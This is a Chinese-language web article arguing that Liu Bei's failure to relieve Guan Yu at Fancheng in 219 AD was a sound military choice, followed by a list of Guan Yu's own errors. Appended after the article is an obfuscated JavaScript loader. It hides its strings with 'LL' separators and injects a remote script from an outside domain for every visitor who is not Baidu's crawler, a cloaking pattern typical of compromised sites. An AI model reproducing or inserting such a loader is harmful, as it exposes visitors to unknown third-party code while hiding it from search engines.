當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

關(guān)羽敗走麥城的秘密 劉備按兵不救是為這個(gè)

2017-04-29 10:54:43  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:對于三國中蜀漢政權(quán)來說,關(guān)羽失荊州是一個(gè)致命傷。它使得諸葛亮精心設(shè)計(jì)的《隆中對》戰(zhàn)略規(guī)劃未能實(shí)現(xiàn),“興復(fù)漢室”最終也成了泡影,蜀國

對于三國中蜀漢政權(quán)來說,關(guān)羽失荊州是一個(gè)致命傷。它使得諸葛亮精心設(shè)計(jì)的《隆中對》戰(zhàn)略規(guī)劃未能實(shí)現(xiàn),“興復(fù)漢室”最終也成了泡影,蜀國因此一蹶不振。

關(guān)于蜀漢在荊州戰(zhàn)役中為何不發(fā)救兵的問題,《三國志》中沒有記載,大多數(shù)人認(rèn)為是來不及救。然而到了近代,章太炎提出了一個(gè)驚人的看法,說是由于關(guān)羽破壞了諸葛亮“聯(lián)吳抗曹”的方針,諸葛亮決定要借吳人之手除掉關(guān)羽。

所以許多人在總結(jié)關(guān)羽襄樊一役失敗的原因時(shí),認(rèn)為其中最主要原因之一是劉備沒有給關(guān)羽派援兵,甚至有所謂的教授嘩眾取寵地提出“劉備借刀殺關(guān)羽”這種可笑以極的觀點(diǎn)。

那事情真的是這樣的嗎?在寫出我的觀點(diǎn)之前,先給大家列一份建安24年的大事表。正月,夏侯淵被黃忠斬于定軍山3月,曹操親征,劉備因險(xiǎn)拒守,5月,曹操退兵,7月,于禁出兵,8月,于禁軍被大洪水所淹,所部3萬人降羽,11月,關(guān)羽軍被徐晃所率新軍擊敗,12月,孫權(quán)生擒關(guān)羽并斬其首

從這張時(shí)間表中我們可以看出,劉備的蜀軍與曹軍在漢中地區(qū)鏖戰(zhàn)了5個(gè)月,最終取得全勝。一個(gè)月后關(guān)羽從荊州發(fā)兵,占領(lǐng)襄陽,直指樊城。劉備此時(shí)的戰(zhàn)略意圖很明顯,就是從兩個(gè)方向交替出兵,令曹軍疲于奔命,然后伺機(jī)給曹操以致命一擊。(參考孫武、伍子胥伐楚)

從關(guān)羽6月出兵到12月兵敗被殺,時(shí)間跨度半年有余,我們把它分為幾個(gè)時(shí)間段,來具體分析劉備到底應(yīng)不應(yīng)該出兵增援關(guān)羽。6、7月出兵增援,那顯然是不可能的。士兵不是機(jī)器,就是機(jī)器也需要保養(yǎng)、定期大修。在與曹操大戰(zhàn)了5個(gè)月后,蜀軍已經(jīng)人困馬乏,如果再長途跋涉趕往荊州,效果可想而知。此時(shí)劉備所能做的只能是對部隊(duì)進(jìn)行整修,準(zhǔn)備糧草。

8月,于禁軍被洪水所淹,關(guān)羽幾乎無損的就俘虜了3萬曹軍。在這種的情況,曹軍在短時(shí)間內(nèi)根本集結(jié)不起能夠和關(guān)羽軍抗衡的部隊(duì)。所以此時(shí)劉備就更不可能派兵去荊州,那樣的做法完全是舍近求遠(yuǎn),勞民傷財(cái)。

如果關(guān)羽在擊敗于禁軍后,能夠較快的拿下樊城,則一直到許都曹軍都再無險(xiǎn)可守,曹操必然要從各地抽調(diào)部隊(duì)來對付關(guān)羽,這樣的話其整體的防守態(tài)勢必然發(fā)生混亂,出現(xiàn)漏洞,加之由于連續(xù)失敗而引發(fā)的軍心不穩(wěn)、士氣低落,這些都大大不利于曹軍。于是劉備就可以借機(jī)以長安為戰(zhàn)略目的地,從漢中出兵,夾擊曹操,如此則曹操危矣。

所以從于禁軍被擊敗的那一刻起,劉備就在等待,等待關(guān)羽攻下樊城。只可惜曹仁以少量兵力,拖住了關(guān)羽軍三月有余。正是由于曹仁在樊城面對關(guān)羽的英勇表現(xiàn),才使得曹軍可以從連續(xù)大敗中鎮(zhèn)定下來,穩(wěn)住了陣腳,沒有陷入更大的慌亂之中。這樣也就令劉備始終無可乘之機(jī)。

雖然直到11月,關(guān)羽仍然對樊城無可奈何,但由于之前曹軍損失太大,一時(shí)間仍無法恢復(fù)元?dú)?,所以關(guān)羽軍仍然有優(yōu)勢,處于戰(zhàn)略進(jìn)攻的態(tài)勢。以當(dāng)時(shí)的形勢來看,關(guān)羽軍的實(shí)力即使攻不足,但絕對守有余,最差的情況也就是樊城久攻不下,關(guān)羽退守荊州。

所以9-11月間,若劉備向荊州派兵,如果是要幫助用關(guān)羽進(jìn)攻樊城,則派少了無用,派多了蜀軍則無力再在漢中方向用兵。曹軍沒有了漢中方向的防守壓力,則可以全力支援樊城。

由于路程的關(guān)系,當(dāng)蜀軍長途跋涉到達(dá)樊城的時(shí)候,會(huì)發(fā)現(xiàn)曹軍來增援的部隊(duì)更多更快。這樣的派兵不旦達(dá)不到疲憊對手的目的,反而疲憊了自己。所以說如果關(guān)羽軍無法迅速攻占樊城的話,即使劉備派兵增援,同樣難以達(dá)到目的。

如果劉備是要派兵去幫助關(guān)羽防守,則更沒有這個(gè)必要。如前所說,從實(shí)力來看,關(guān)羽的部隊(duì)即使攻不足,但守絕對有余。從最后結(jié)果來看,是因?yàn)殛P(guān)羽的多個(gè)錯(cuò)誤決定,才導(dǎo)致部隊(duì)未戰(zhàn)而潰,從而丟掉了荊州,和兵力的多少完全沒有關(guān)系。從戰(zhàn)役過程來看,即使關(guān)羽的軍隊(duì)再多個(gè)一兩萬人,結(jié)果也不會(huì)有任何改變。從這個(gè)角度來說,劉備沒有派更多的部隊(duì)去幫助防守荊州,是避免了更大的損失。

綜上所述,劉備在8-11月這段時(shí)間,最好的選擇仍就是繼續(xù)修整部隊(duì)、準(zhǔn)備糧草,對曹操在長安方向的防御保持壓力,并隨時(shí)尋找機(jī)會(huì)進(jìn)攻。

至于說11、12月發(fā)生的事情,是劉備不可能想得到的,關(guān)羽軍在占盡優(yōu)勢的情況下,居然被徐晃的幾千新兵所擊敗。劉備更不可能想到的是,荊州、南郡、公安在沒有任何抵抗的情況下,幾乎是一夜之間被呂蒙拿下。接下來,關(guān)羽所親自率領(lǐng)的北伐部隊(duì)也幾乎在沒有抵抗的情況下,瞬間土崩瓦解。

那么短的時(shí)間內(nèi),發(fā)生了如此多無法想像、翻天覆地的變故,在當(dāng)時(shí)的通訊、交通情況下,劉備能夠做些什么?除非把101空降師調(diào)拔給他,再配備現(xiàn)代化的通訊手段,荊州才可能有得救。

這篇文章主要是幫大家分析,為什么劉備在長達(dá)半年之久的襄樊戰(zhàn)役中沒有向荊州派兵,關(guān)羽兵敗的原因并不是這篇文章的主題,關(guān)于這個(gè)問題,在這里我只簡單概括幾個(gè)最重要的點(diǎn)。

1,用人不當(dāng),加之其人格魅力無法令部下對其心服,為其賣命。故在困境中,上至潘濬、糜芳、士仁,下至百姓、士兵,全部背叛了他。

2,因戰(zhàn)役初期取得了巨大戰(zhàn)果,而狂妄自大,繼而不知進(jìn)退?!胺虮枚鴩撸粗幸?。故不盡知用兵之害者,則不能盡知用兵之利也?!痹诜蔷霉ゲ幌拢孔淙死яR乏的情況下,關(guān)羽應(yīng)該在十月份前后主動(dòng)撤兵,修整部隊(duì),伺機(jī)再戰(zhàn)。而不是一定要被人打敗才不得已退兵。(參考同年五月曹操從漢中退兵,那才是軍事家,懂得有舍才有得。)

3,一方面最大限度的得罪孫權(quán),一方面又無限的輕視東吳將領(lǐng)陸遜,他本人驕傲自滿的情緒也傳染給了下級士兵,使部隊(duì)喪失了對吳軍最起碼的警惕,最終導(dǎo)致呂蒙偷襲得手。以上三點(diǎn)是最重要的,其它相對的小失誤及細(xì)節(jié)方面可以見本人的其它分析文章。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}